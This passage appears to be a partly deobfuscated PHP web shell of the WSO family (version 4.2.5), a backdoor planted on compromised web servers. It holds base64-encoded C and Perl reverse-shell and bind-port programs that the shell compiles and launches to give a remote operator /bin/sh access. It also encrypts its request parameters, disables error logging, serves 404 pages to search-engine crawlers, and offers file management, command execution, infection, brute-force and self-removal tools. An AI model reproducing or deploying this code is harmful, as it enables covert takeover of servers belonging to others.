value='submit'></form>\";\r\n            }\r\n\t\t\tif(@\$_POST['p1'] == 'loadfile') {\r\n\t\t\t\t\$file = \$db->loadFile(\$_POST['p2']);\r\n\t\t\t\techo '<br/><pre class=ml1>'.htmlspecialchars(\$file['file']).'</pre>';\r\n\t\t\t}\r\n\t} else {\r\n        echo htmlspecialchars(\$db->error());\r\n    }\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nfunction actionNetwork() {\r\n\thardHeader();\r\n\t\$back_connect_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9\";\r\n\t\$back_connect_p=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7\";\r\n\t\$bind_port_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxzdGRsaWIuaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICoqYXJndikgew0KICAgIGludCBzLGMsaTsNCiAgICBjaGFyIHBbMzBdOw0KICAgIHN0cnVjdCBzb2NrYWRkcl9pbiByOw0KICAgIGRhZW1vbigxLDApOw0KICAgIHMgPSBzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwwKTsNCiAgICBpZighcykgcmV0dXJuIC0xOw0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KICAgIHIuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7DQogICAgYmluZChzLCAoc3RydWN0IHNvY2thZGRyICopJnIsIDB4MTApOw0KICAgIGxpc3RlbihzLCA1KTsNCiAgICB3aGlsZSgxKSB7DQogICAgICAgIGM9YWNjZXB0KHMsMCwwKTsNCiAgICAgICAgZHVwMihjLDApOw0KICAgICAgICBkdXAyKGMsMSk7DQogICAgICAgIGR1cDIoYywyKTsNCiAgICAgICAgd3JpdGUoYywiUGFzc3dvcmQ6Iiw5KTsNCiAgICAgICAgcmVhZChjLHAsc2l6ZW9mKHApKTsNCiAgICAgICAgZm9yKGk9MDtpPHN0cmxlbihwKTtpKyspDQogICAgICAgICAgICBpZiggKHBbaV0gPT0gJ1xuJykgfHwgKHBbaV0gPT0gJ1xyJykgKQ0KICAgICAgICAgICAgICAgIHBbaV0gPSAnXDAnOw0KICAgICAgICBpZiAoc3RyY21wKGFyZ3ZbMl0scCkgPT0gMCkNCiAgICAgICAgICAgIHN5c3RlbSgiL2Jpbi9zaCAtaSIpOw0KICAgICAgICBjbG9zZShjKTsNCiAgICB9DQp9\";\r\n\t\$bind_port_p=\"IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=\";\r\n\techo \"<h1>Network tools</h1><div class=content>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.port.value,this.pass.value);return false;'>\r\n\t<span>Bind port to /bin/sh</span><br/>\r\n\tPort: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass'> Using: <label><select name='using'><option value='bpc'>C</option><option value='bpp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form>\r\n\t<form name='nfp' onSubmit='g(null,null,this.using.value,this.server.value,this.port.value);return false;'>\r\n\t<span>Back-connect to</span><br/>\r\n\tServer: <input type='text' name='server' value=\". \$_SERVER['REMOTE_ADDR'] .\"> Port: <input type='text' name='port' value='31337'> Using: <label><select name='using'><option value='bcc'>C</option><option value='bcp'>Perl</option></select></label> <input type=submit value='submit'>\r\n\t</form><br>\";\r\n\tif(isset(\$_POST['p1'])) {\r\n\t\tfunction cf(\$f,\$t) {\r\n\t\t\t\$w=@fopen(\$f,\"w\") or @function_exists('file_put_contents');\r\n\t\t\tif(\$w)\t{\r\n\t\t\t\t@fwrite(\$w,@base64_decode(\$t)) or @fputs(\$w,@base64_decode(\$t)) or @file_put_contents(\$f,@base64_decode(\$t));\r\n\t\t\t\t@fclose(\$w);\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bpc') {\r\n\t\t\tcf(\"/tmp/bp.c\",\$bind_port_c);\r\n\t\t\t\$\xe2\x96\x96 = ex(\"gcc -o /tmp/bp /tmp/bp.c\");\r\n\t\t\t@unlink(\"/tmp/bp.c\");\r\n\t\t\t\$\xe2\x96\x96 .= ex(\"/tmp/bp \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$\xe2\x96\x96\".ex(\"ps aux | grep bp\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bpp') {\r\n\t\t\tcf(\"/tmp/bp.pl\",\$bind_port_p);\r\n\t\t\t\$\xe2\x96\x96 = ex(which(\"perl\").\" /tmp/bp.pl \".\$_POST['p2'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$\xe2\x96\x96\".ex(\"ps aux | grep bp.pl\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bcc') {\r\n\t\t\tcf(\"/tmp/bc.c\",\$back_connect_c);\r\n\t\t\t\$\xe2\x96\x96 = ex(\"gcc -o /tmp/bc /tmp/bc.c\");\r\n\t\t\t@unlink(\"/tmp/bc.c\");\r\n\t\t\t\$\xe2\x96\x96 .= ex(\"/tmp/bc \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$\xe2\x96\x96\".ex(\"ps aux | grep bc\").\"</pre>\";\r\n\t\t}\r\n\t\tif(\$_POST['p1'] == 'bcp') {\r\n\t\t\tcf(\"/tmp/bc.pl\",\$back_connect_p);\r\n\t\t\t\$\xe2\x96\x96 = ex(which(\"perl\").\" /tmp/bc.pl \".\$_POST['p2'].\" \".\$_POST['p3'].\" &\");\r\n\t\t\techo \"<pre class=ml1>\$\xe2\x96\x96\".ex(\"ps aux | grep bc.pl\").\"</pre>\";\r\n\t\t}\r\n\t}\r\n\techo '</div>';\r\n\thardFooter();\r\n}\r\nif( empty(\$_POST['a']) ){\r\n\tif(isset(\$\xe2\x96\x9a) && function_exists('action' . \$\xe2\x96\x9a)){\r\n\t\t\$_POST['a'] = \$\xe2\x96\x9a;}\r\n\telse{\r\n\t\t\$_POST['a'] = 'FilesMan'; } }\r\nif( !empty(\$_POST['a']) && function_exists('action' . \$_POST['a']) ){\r\n\tcall_user_func('action' . \$_POST['a']);}\r\n\t\r\n}else {\r\n    \$ziwziw = \$_POST['lynx'];\r\n    if (\$ziwziw == 'adding') {\r\n        echo php_uname();\r\n        echo 'sarafinoubombom';\r\n    } else if (\$ziwziw == 'ip') {\r\n        //\$ip = file_get_contents(\"http://ipecho.net/plain\");\r\n        \$ip = \$_SERVER['SERVER_ADDR'];\r\n        if (filter_var(\$ip, FILTER_VALIDATE_IP)) {\r\n            echo \$ip;\r\n            echo 'sarafinoubombom';\r\n        } else {\r\n            \$host = gethostname();\r\n            \$ip = gethostbyname(\$host);\r\n            echo \$ip;\r\n            echo 'sarafinoubombom';\r\n        }\r\n    }\r\n} ";
eval /* PHPDeobfuscator eval output */ {
    if (!isset($_POST['lynx'])) {
        $▛ = "";
        //admin
        $▘ = true;
        $▜ = 'UTF-8';
        $▚ = 'FilesMan';
        $▙ = md5($_SERVER['HTTP_USER_AGENT']);
        function decrypt($str, $pwd)
        {
            $pwd = base64_encode($pwd);
            $str = base64_decode($str);
            $enc_chr = "";
            $enc_str = "";
            $i = 0;
            while ($i < strlen($str)) {
                for ($j = 0; $j < strlen($pwd); $j++) {
                    $enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));
                    $enc_str .= $enc_chr;
                    $i++;
                    if ($i >= strlen($str)) {
                        break;
                    }
                }
            }
            return base64_decode($enc_str);
        }
        function prototype($k, $v)
        {
            $_COOKIE[$k] = $v;
            setcookie($k, $v);
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"])) {
            prototype(md5($_SERVER['HTTP_HOST']) . "key", $▙);
        }
        if (empty($_POST['charset'])) {
            $_POST['charset'] = $▜;
        }
        if (!isset($_POST['ne'])) {
            if (isset($_POST['a'])) {
                $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['c'])) {
                $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p1'])) {
                $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p2'])) {
                $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
            if (isset($_POST['p3'])) {
                $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'], $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"]));
            }
        }
        //function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
        @ini_set('error_log', NULL);
        @ini_set('log_errors', 0);
        @ini_set('max_execution_time', 0);
        @set_time_limit(0);
        if (true) {
            @set_magic_quotes_runtime(0);
        }
        @define('VERSION', '4.2.5');
        if (get_magic_quotes_gpc()) {
            function stripslashes_array($array)
            {
                return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
            }
            $_POST = stripslashes_array($_POST);
            $_COOKIE = stripslashes_array($_COOKIE);
        }
        /* (С) 11.2011 oRb */
        if (!empty($▛)) {
            if (isset($_POST['pass']) && md5($_POST['pass']) == $▛) {
                prototype(md5($_SERVER['HTTP_HOST']), $▛);
            }
            if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || $_COOKIE[md5($_SERVER['HTTP_HOST'])] != $▛) {
                hardLogin();
            }
        }
        if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool) $▘;
        }
        function hardLogin()
        {
            if (!empty($_SERVER['HTTP_USER_AGENT'])) {
                $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
                if (preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER['HTTP_USER_AGENT'])) {
                    header('HTTP/1.0 404 Not Found');
                    exit;
                }
            }
            die("<pre align=center><form method=post>Password<br><input type=password name=pass style='background-color:whitesmoke;border:1px solid #FFF;outline:none;' required><input type=submit name='watching' value='submit' style='border:none;background-color:#56AD15;color:#fff;cursor:pointer;'></form></pre>");
        }
        if (strtolower("PHP") == "win") {
            $os = 'win';
        } else {
            $os = 'nix';
        }
        $safe_mode = @ini_get('safe_mode');
        if (!$safe_mode) {
            error_reporting(0);
        }
        $disable_functions = @ini_get('disable_functions');
        $home_cwd = @getcwd();
        if (isset($_POST['c'])) {
            @chdir($_POST['c']);
        }
        $cwd = @getcwd();
        if ($os == 'win') {
            $home_cwd = str_replace("\\", "/", $home_cwd);
            $cwd = str_replace("\\", "/", $cwd);
        }
        if ($cwd[strlen($cwd) - 1] != '/') {
            $cwd .= '/';
        }
        /* (С) 04.2015 Pirat */
        function hardHeader()
        {
            if (empty($_POST['charset'])) {
                $_POST['charset'] = $GLOBALS['▜'];
            }
            echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . VERSION . "</title>\r\n<style>\r\n\tbody {background-color:#444; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;}\r\n\r\n\t#particles-js{width: 100%; height: 100px; background-color: #060a10; background-image: url(''); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt tahoma,arial,verdana,sans-serif,Lucida Sans;margin:0;vertical-align:top;}\r\n\ttable.info\t{color: #fff;background-color: #222;}\r\n\ttable#toolsTbl {background-color: #222;}\r\n\tspan,h1,a\t{color:#df5 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #2E6E9C;padding:2px 5px;font:14pt Verdana;background-color:#222;margin:0px;}\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#060a10;}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:solid 1px #df5;font:9pt Courier New;outline:none;}\r\n\tlabel {position:relative}\r\n\tlabel:after {content:'<>';font:10px 'Consolas', monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:'';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #060a10;}\r\n\t.toolsInp\t{width:300px}\r\n    .main th{text-align:left;background-color:#5e5e5e;}\r\n    .main tr:hover{background-color:#5e5e5e}\r\n\tinput[type='submit']{background-color:#2E6E9C;}\r\n\tinput[type='button']{background-color:#2E6E9C;}\r\n\tinput[type='submit']:hover{background-color:#56AD15;}\r\n\tinput[type='button']:hover{background-color:#56AD15;}\r\n\t.l2{background-color:#444}\r\n    .l1{background-color:#333}\r\n\tpre\t\t\t{font:9pt Courier New;}\r\n</style>\r\n<script>\r\n    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';\r\n    var a_ = '" . htmlspecialchars(@$_POST['a']) . "'\r\n    var charset_ = '" . htmlspecialchars(@$_POST['charset']) . "';\r\n    var p1_ = '" . (strpos(@$_POST['p1'], "\n") !== false ? '' : htmlspecialchars($_POST['p1'], ENT_QUOTES)) . "';\r\n    var p2_ = '" . (strpos(@$_POST['p2'], "\n") !== false ? '' : htmlspecialchars($_POST['p2'], ENT_QUOTES)) . "';\r\n    var p3_ = '" . (strpos(@$_POST['p3'], "\n") !== false ? '' : htmlspecialchars($_POST['p3'], ENT_QUOTES)) . "';\r\n    var d = document;\r\n\t\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,'" . $_COOKIE[md5($_SERVER['HTTP_HOST']) . "key"] . "');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = 'ajax=true';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr('" . addslashes($_SERVER['REQUEST_URI']) . "', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject('Microsoft.XMLHTTP');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open('POST', url, true);\r\n            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert('Request error!');\r\n\t}\r\n</script>\r\n<head><body><div style='position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;'>\r\n<form method=post name=mf style='display:none;'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";
            $freeSpace = @diskfreespace($GLOBALS['cwd']);
            $totalSpace = @disk_total_space($GLOBALS['cwd']);
            $totalSpace = $totalSpace ? $totalSpace : 1;
            $release = @php_uname('r');
            $kernel = @php_uname('s');
            $explink = 'https://noreferer.de/?https://www.exploit-db.com/search/?action=search&description=';
            if (strpos('Linux', $kernel) !== false) {
                $explink .= urlencode('Linux Kernel ' . substr($release, 0, 6));
            } else {
                $explink .= urlencode($kernel . ' ' . substr($release, 0, 3));
            }
            if (!function_exists('posix_getegid')) {
                $user = @get_current_user();
                $uid = @getmyuid();
                $gid = @getmygid();
                $group = "?";
            } else {
                $uid = @posix_getpwuid(@posix_geteuid());
                $gid = @posix_getgrgid(@posix_getegid());
                $user = $uid['name'];
                $uid = $uid['uid'];
                $group = $gid['name'];
                $gid = $gid['gid'];
            }
            $cwd_links = '';
            $path = explode("/", $GLOBALS['cwd']);
            $n = count($path);
            for ($i = 0; $i < $n - 1; $i++) {
                $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
                for ($j = 0; $j <= $i; $j++) {
                    $cwd_links .= $path[$j] . '/';
                }
                $cwd_links .= "\")'>" . $path[$i] . "/</a>";
            }
            $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
            $opt_charsets = '';
            foreach ($charsets as $▟) {
                $opt_charsets .= '<option value="' . $▟ . '" ' . ($_POST['charset'] == $▟ ? 'selected' : '') . '>' . $▟ . '</option>';
            }
            $m = array('Sec. Info' => 'SecInfo', 'Files' => 'FilesMan', 'Console' => 'Console', 'Infect' => 'Infect', 'Sql' => 'Sql', 'Php' => 'Php', 'Safe mode' => 'SafeMode', 'String tools' => 'StringTools', 'Bruteforce' => 'Bruteforce', 'Network' => 'Network');
            if (!empty($GLOBALS['▛'])) {
                $m['Logout'] = 'Logout';
            }
            $m['Self remove'] = 'SelfRemove';
            $menu = '';
            foreach ($m as $k => $v) {
                $menu .= '<th>[ <a href="#" onclick="g(\'' . $v . '\',null,\'\',\'\',\'\')">' . $k . '</a> ]</th>';
            }
            $drives = "";
            if ($GLOBALS['os'] == 'win') {
                foreach (range('c', 'z') as $drive) {
                    if (is_dir($drive . ':\\')) {
                        $drives .= '<a href="#" onclick="g(\'FilesMan\',\'' . $drive . ':/\')">[ ' . $drive . ' ]</a> ';
                    }
                }
            }
            echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win' ? '<br>Drives:' : '') . '</span></td>' . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="https://noreferer.de/?https://www.google.com/search?q=' . urlencode(@php_uname()) . '" target="_blank">[ Google ]</a> <a href="' . $explink . '" target=_blank>[ Exploit-DB ]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode'] ? '<font color=red>ON</font>' : '<font color=#FFDB5F><b>OFF</b></font>') . ' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . viewSize($totalSpace) . ' <span>Free:</span> ' . viewSize($freeSpace) . ' (' . round(100 / ($totalSpace / $freeSpace), 2) . '%)<br>' . $cwd_links . ' ' . viewPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' . '<td width=1 align=right><nobr><label><select onchange="g(null,null,null,null,null,this.value)">' . $opt_charsets . '</select></label><br><span>Server IP:</span><br>' . gethostbyname($_SERVER["HTTP_HOST"]) . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' . '<table style="background-color:#2E6E9C;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div>';
        }
        function hardFooter()
        {
            $is_writable = is_writable($GLOBALS['cwd']) ? " <font color='#FFDB5F'>[ Writeable ]</font>" : " <font color=red>(Not writable)</font>";
            echo "\r\n</div>\r\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%>\r\n\t<tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g(null,this.c.value,'');" : '') . "return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value);" : '') . "return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesMan') ? "g('FilesMan',null,'mkdir',this.d.value);" : '') . "return false;\"><span>Make dir:</span>{$is_writable}<br><input class='toolsInp' type=text name=d required><input type=submit value='submit'></form></td>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionFilesTools') ? "g('FilesTools',null,this.f.value,'mkfile');" : '') . "return false;\"><span>Make file:</span>{$is_writable}<br><input class='toolsInp' type=text name=f required><input type=submit value='submit'></form></td>\r\n\t</tr><tr>\r\n\t\t<td><form onsubmit=\"" . (function_exists('actionConsole') ? "g('Console',null,this.c.value);" : '') . "return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='submit'></form></td>\r\n\t\t<td><form method='post' " . (!function_exists('actionFilesMan') ? " onsubmit=\"return false;\" " : '') . "ENCTYPE='multipart/form-data'>\r\n\t\t<input type=hidden name=a value='FilesMan'>\r\n\t\t<input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>\r\n\t\t<input type=hidden name=p1 value='uploadFile'>\r\n\t\t<input type=hidden 